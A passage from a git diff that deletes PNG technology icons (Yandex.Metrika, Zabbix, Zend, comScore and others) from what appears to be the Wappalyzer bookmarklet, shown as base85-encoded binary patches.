zmL)gg51%$=1r#-eo6f;>Jx85(GlUyYZd)kPMvK3ZYGymZIoF_68KYgW954hAJomYK zEHN6(pMb(HtmI|nQ~R(YXEKqJT9Kg^(A@S7sOBh-4grww-%88b>ln|9EMYX;i_^Fg zDo1M{G0_@~2GNL^8*7_TArM(Yb+8?)(nqm>6BCK4V%!4aRRC~8NtUdBf?ZFnrK|lr zgp(_1U3PK;`2!DP>me$`FM+=mP~%^EwN}ve^a>g3_=SjjL`r=dB(?uB@zO8Lhh?f6 z@v=K*r0Y-O_HPu?c^PfIh#G_IefWR!g><+5O+DYx-z^R1kfv#q$ zQ+5M`JMKWIUc|V^5L3dd7>o$Uc*nzCbj7xxS|SQDiqgnyL}q@T=&Va=n12=Czf zUS4uNzmv`)=OqwVO#rwKc82+XDFjH^lY zY-IH4Hk`<8oX{+)v(*T9FKkf{hFk^{~#u_UD9v=PzGPWRlKp46uN&aVlpybIk#W(gImPScFD;~lHYl= zl!ms-(d{=&ZrAN1rC!PIzgs&0^%*%a*Zqv6cC23@0HP}-7k-82#p?*@!;B3iH`0yO zZ~?(k5i5Q4c6uj%nmdLK~A zV(7rLWP1LF4xfVwEX0bPg+J0jakv|=oMt-J!Z7)PSBbQq55WaUXepkZAk+5(sRK`g z5is8MliZ3m?rdnpWWM(Y3ysAP8FL>Hm#2z9zVRJ)ej(FK$S+VT1F z#F`gV0W$j@W?;`#pe&5&UFTif|92)(Z#;UMP&e)jw=Vt?(c}u^^R5LHh^Cx=6R&s} z06R2?YGFT?6UPqC#Xn;iHR6%)`zzVO&aufiqVPZf#iH}SeXN@a)b@uHlU~cUSE1>Q z)iflMgqklTa@yr6JIZ9lcqlvy1CQfo-eIV}kL;m#e0Go%9$a~S>ibMWZTm}HP@GBt z1gtQLxt}Ez4HIix1j>&ukVN@Hh%RC($3Qf>p*`eBOQa7yi%)?l>NH}URo~6a@tGXwxz*+m8YS!K=FDhu%ba87wE__w}o8C_cgz)T<8$?hxVE zDBd3drQY8cLP6IjZ!CYDX()hK9`N0XaGOAkkBCxq0T+MjCOybB{tuR1lc1TP%Y^^{ N002ovPDHLkV1g{q&e8w? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Metrika.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Metrika.png deleted file mode 100644 index 7a9d0e95db5e4e7009d5b9e78fd406fd32744a9d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1113 zcmV-f1g86mP)6#nk+-QptKR1hhNNYT(}wXLmDgH)rnXlx9oY1E*`CMEb2+VG%hqJ*SL>sx>9 zgQh$*RxwSrHTA^@YfMZCrV@&1EG5 zGv7IL7H~&%!=e0B2RrJ&`KagHv#l2{oo(&yTR1LUI(?|)aAo=Zd6>_rsd}NH{rKQ$ z_sQ$JROmW6qOC1o@14{6zTK@wKOFmg^8ASr?K&~Mr0Dqcs@83N^O39s&K&OC)7dtp zoo&~0g0BvqYtQCCU}Af^einn2{?$faj`TI@+-9-GWR6 zY-LzXf<+C@FlWvF4BPoD?yK1N9)M;~1eh62vMA&i*;rnhm%y#Jhrnj`yRc&2-4DON zee=#oeF!WZM1;!63$eboB!SgW7Qw_RWgXbU^VM|+JOqRUM7&_koG|4^Si$UFyK+U@ zrnk4ZyplqINEQ_VCWdMn0acLkt`ic}Y}|JA#m#RlPl~|&G(biWk5LLJ&LG1XG^xIJ zf(S)6R8}=7X+S`R=7b8P>eW?v>@^3~uUDY3EbN>tEdo&Z+F`?3UAlfx-Im4;4gq&^ zPB7z+dm;%GR}>%=4uFl5>*-gJ&6XNP^_pitbTq&MqItl0YX!3-V6O(?3eVr(ZQ+t9 z-l}b>53u2RT>%q&Dvq!tHa`(&y;381a8>ob0JF?H-&4vPfSDSSPD~YGLvz?;2#IZz zVTf9Z{C%jl9Ays_LfwdqD9-Hf#x0SM>&QxpfH9184MG*h2m-49uVBDJ&)~TaY$l#{ zMv8)>JQSBNPjVtK(*~ii zz{z*d9(DKl)fFN1Mmu-8X*equjx$8m^U!geTn(g`Tn5D{V;1;{n+>D?TF-F+?TJE^ z9D(%XSOCcV?oC6dk$cp5r+2P}ofk~86$}Q@^!Zj;0l-SrR87NL zJhfvD!jWYu^Tp*6G#+~fSAM&W)BAsdy(|d8Ld+U(2k>!9N5sSc0Yd|0`0-SqM+1u) z<0JpM86mK2!AR^%y{9E(7Jz|h|0tsUqsYZzW(@s%`7`8UAY((qIfhsi`)j;^SH^-g zO|fV$yJA(rpA)@}046dLi1SpNlTJARDJFUBX8@o0mgK7w7mpys5L)`v2W;T-Sa(y_ ze?|aq4F2=Wy==!PRk38J7g79iv*){+ikFQ50Q4PbZzvtNqF-nzJ_(x`Hp^lVvqz)f f4}7^}t_=AfP!n{1dU`6g00000NkvXXu0mjfHNg$g diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yieldlab.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yieldlab.png deleted file mode 100644 index f3e049234ff3847607887353e409139293145021..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1823 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ZURB Foundation.png b/Wappalyzer/drivers/bookmarklet/images/icons/ZURB Foundation.png deleted file mode 100644 index 9940352487d291405b9cddce254dbe6eeb77ebb9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 833 zcmV-H1HSx;P)Qot?9L?AbXZ@B02-Wx^c%)M_gXz@(RCP&PHAbMOq3Re?U0!{NGlJg@ z3q=G_Hw}}sOi`gAC-NotO(QEvk8?#j6j%m<9>Y8nGiM24yKdih&45$ag`M6}?%ErH z*Ko{eB|jKOtwgO~b2eR*1uPu6-}|E$0WMCU2%c=zZO$mquVZbq?t<<3w#g6^OqajX3@iMLi=?%tT0sD)C*5D&&lQYe8SIE(Y* zbLXf%$$05%z?bf5W(h6&1_WRW{-7@JdRAmMv@F6@-E`!ZZwU|fx`UnGh^~^NOsU5= zJxfa0;E563U-cpauO8GSCl@u%qg%m?uwZyu0!0v*f^qgs2d)&pFpN?enIg&Ax?>X@ zUA|1Q)B#P2fT~iUCF+2tbwJC~L9Qsv)%Q^xwR>BEZy_rR)rzviu(x5$nkBBPgLj>= z*14B93@kg_=(=m73XaP;-`!ofX?;izbX5f__O}aX7u){E=(u=zqz^G00000 LNkvXXu0mjf8*7a3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zabbix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zabbix.png deleted file mode 100755 index c7384dc3e552913a66cd93dae446adab2f089d23..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 125 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`E}kxqAr-fh6Be-TICS8{d>Nlw z<_^}B-3*b&C)pNctDR)Xnbm2=FgQZ Y+PfD?cz*eE3TPgKr>mdKI;Vst0J#V#=l}o! diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zanox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zanox.png deleted file mode 100644 index 6ce8ab28b8cc723adc2b4eb7c34cd6082baeb922..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 789 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyR|9-PT!HlG$qZknuzs1w^<_H$ z=Sd7-rt^H6C;N4!F;M*T6vof}AO)YNFaf1N3}gh6n#2fI43`3`geV4T2MU4}0M#HP zh?)QY{`x$T0cgdiUWQNI4FCWA{r~^}&r{7Hd#5sgnaTHMw(#$J8~!}r_wVD~e?Q)R zTVecTU)s;(Ro}Px|9x}u_w|K;o*ww~XxG1QuRc%b_}IemZLRH>`6?chqm_Xk(@ZZCRdAmW;TheO4XaZ8r-^DGLiMT)|t=IqAq5DoyT~KKm`d^FII7NX7RI@lQ8b?9?@>+_+3pE3u~Up1sq&=SRQ! zD`_WB+M^KA)FHn5>-Vp(7VF$dFW%etgmdAABc3O>D{0xC=6un{UXVDUXkJ~=zQ|*n zn=iQMPJVWC-mmWOU!Lz#yP)Me@12s?jDKF6-zeB5CA38Dxe?%KQaju4`yroCKY#e2 zC<%3`lDFgIUBBZBuTi!3qB$LlPH@EZNfoqDRlNM&DKIY}cX4Qat^|i+;`p{2bZvhX+D^PkBDlx#0>SZZyjKP!PHsP!cJSs(A z*pTg0m{eHf4Kwzn+}!TFZ5m&X^6us#+D=Sx_R1nGD~PlobZf_fK){HIgCl|ySEOZ< zsulNGTB=CK-7w*sIMEKdEHqet~L&xT*gAxDzs9{<x_bBdA@ z#htqaj6X^e3XRd-gS=GTPEEB<$GJ-G-PcqEbMchEg5I!h&H7Lx5!$%uCR=OcGI&q(%keB~ z%llbf6XHs51Cjh$-hMMqQ7QCx4KaG%V#@K7mmNe^udb_Ko}QJrisRPIOb$Q&P|3^1 z6D%#RG)vpuu8&;pi0CJkyDB3{F#VYq)8no8i%wP0@ne6d7$yZ}9eF*Jfs ze)w_R{QkXmmV6Eem@8D00|k@B7I ze{{WQ%h)FL9!1|_!=I{2m zo^sMQq9A1%l+Q~*xtN=oKqsF;bb?s-5Y9*&EMJdr$1cA7{L^>-2m2ap#cla%<^TWy M07*qoM6N<$g1lM8VE_OC diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zend.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zend.png deleted file mode 100644 index c0c394f08cc802ca7ab4142036f16cc52dc981c1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1119 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Zeuscart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Zeuscart.png deleted file mode 100644 index abbca7bd2e28711a4da842fefad3f425f5fe51af..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1051 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 M07*qoM6N<$fMCwn6oL*-f?_H{kSQ-Mkt NJYD@<);T3K0RZUQA(j9D diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/basket.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/basket.js.png deleted file mode 100644 index 2dc6a00e3477f0e730a105e7abae64127106e1c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 749 zcmVkqe1e%cOk*G05afw$n9>fFD zxDYhKs4<{I*<`USElXuSKf7;C~iDbTcPaampq&1i-ryc(u9+Ac=d+Js)D8xyDDng(zZcn zm*Ry{fB2z;-Wh1D+o;|b81Zyi3XNme*_owv0(nUT0nur>v@X$Npw(J6F1q9`wp0#m z)$9utWrlB20l$@Hgqg@D6W37&fYJjx)d(edjA+O=*ep`_TW{YUfLXqFVe`XeJ-@|& zk8+}#dV#wtr`+9ev^4Jw1qsQm021L1Btk(@Iu77i zc!yU+O@|Dp)lBd1;L)!){Vx*!#Y{19D2{_$C-kj0DHHB)t$% zCU^FfNE?+YV`>U0s|^CLLwI%*v>HL0OONn;0>dBu8{r7`E*{rbC)n6tAj+_xLeb<} ziqnMLvOF9q0#2n*Jg5fOO25-k0xr-4hQSEv1*JL#3U%ho z8z*1`KJc#b+EzgB9|FZ10;%9p>i4V)B!Mj*2^0iw8dGOLARWAf5?Ej++XEZS|Hm|@ zjEUuG2z00qA`7^gi3TWvM7)uTi5xEgSOms{az@=$(W^cuihJGsK1YX9kHu^ dti_s<_5-_7Web5C7(8A5 KT-G@yGywqXmL7co diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/comScore.png b/Wappalyzer/drivers/bookmarklet/images/icons/comScore.png deleted file mode 100644 index 5490f7e4376367f5d0f76795010e771f07144581..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1429 zcmV;G1#0?mPi2%XM3yyoL)zI8Rn? z{?XS+(}$vbsT|U}Qw^eGqN<#ha}vzwvs}Iy;<)zGfy4jo8{5$u}De_{@dIasx+Z+Q@T z!hHTZ;weO>VdhRt1X0(VTq)!t+DmyhT)UiG*M0(kbo5=K0xK<43x82z3K5A)!EO?M_r^b=2XlKGY1H921^$$XqfhHyp|ts{zAii zZiJH)S!gTky;^mT9~)R$oU?(eHb43?HNQ*Ml_jL8GgOs0&5$5mbLC}xa_NUzd+J=a zsFU+YWOyVEm5Sbuvms#X|81ZUwe9v%ZlNQ?%m_&1yy4T!c;t?5zP(``cYS_!!~8-K zkde`hd?a6=dVbNZvl{r!ef?iGbDt%Rapn;bE~yl_w`UFOS1hJd%5yQO)&p%NHvqga zvjL)V+xIjCy!V(noEfEjo+VxLFPb?($eQVTzE0*VVc<;oU$NcnTV}7~` zQK1#2DO${HkKNFFOLs`7iq6@YXVp0nLCp}MH3%*Vp<8qL;$r92o44tyy~q7ejR4xJ z0OZ?bzM6Ms^IlI0Gs89HF^jO~@7OX@FjHqi5OJ>g2^4kKFm`4jLMzdztvIYcO5dN{ zN7GGs-}(l;1SLt|^O2>~mD{wu$D7ARhN#jK0!$8PnWnYsfn1?nwaDY62=mPra;?1s z0Wt~vR)J$a7fo98)>{-|(ex#BK5E%tphy~dUQ_@TdDgs7&otnhA*?kG1SqzL8t|L~ zjE^0EGG8p$nwPL47v<4>3GopZo5+NT@$mf2ePA$zba$cBK~|avg*G~-jqwJ#{w|uMLn* zoVajj2=m%il4|yg!$S-D=2}XBRf}u)lq;7IYeWzQRkTzg)JB;)^4h5|{hWOEHpXB6 zF4_3t`I(2nyrRlvHN2U|*@HklR{%bG;_aUfC-HrqIR}9m2omK9ag}872(>q#WB8dK z#$I}Wta{>{=JQKRtsdS8vEBu|!wi(!B*4JQINRVv>Naa15Ku?RQnKm@^|xPUcwhzN z`|h3@q?w)5lT%N^zG_Hr0shEYD0B1kC?_jaWWP$t0<%GYECnl&y!$F6yFS9?D;vp1 z{)!4&F=BYED%*jZfPXO?lyh?gSZgl3*}NvHQclYwuzFWPB>C j2eLmnudf4pIZyrz;=sXs;O3;300000NkvXXu0mjfj>*Zn diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/debut.png b/Wappalyzer/drivers/bookmarklet/images/icons/debut.png deleted file mode 100755 index 737a0328886bc1c80aa72339ada21b3a531bacfe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 210 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Zh%jS>;M1%KYsrC=-H>sH(wt< z`()a(3+*#cR`edqY}gZ3ywxjhopt1L9p8nr4zu`-Co@{#YzAsf@N{tuskl{o-chJQ zfrB-`!C3pjzvI3EKH`5{&+JJQUftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/dwhttpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/dwhttpd.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 